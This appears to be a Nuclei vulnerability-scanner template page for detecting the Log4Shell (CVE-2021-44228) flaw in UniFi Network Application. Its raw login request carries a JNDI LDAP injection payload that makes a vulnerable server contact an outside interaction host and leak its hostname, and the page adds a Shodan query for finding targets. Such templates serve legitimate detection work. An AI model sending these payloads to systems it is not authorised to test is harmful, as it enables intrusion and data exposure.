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UniFi Network Application - Remote Code Execution (Apache Log4j)

ID: unifi-network-log4j-rce

Severity: critical

Author: KrE80r

Tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev

UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.

id: unifi-network-log4j-rce
info:
name: UniFi Network Application - Remote Code Execution (Apache Log4j)
author: KrE80r
severity: critical
description: |
UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.
reference:
- https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
- https://twitter.com/sprocket_ed/status/1473301038832701441
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.title:"UniFi Network"
product: unifi_network_application
vendor: ui
tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /api/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
Origin: {{RootURL}}
Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage
{"username":"user","password":"pass","remember":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}","strict":true}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450220022d0b482c6a2b416341d040abf0671b9a62d3b973bc64d8e3daa03655834450022100b9ca27f7d4f8dd59c08705b9f24acad2ce0af61b76ef92628514445bfb8f0341:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/unifi-network-log4j-rce.yaml"

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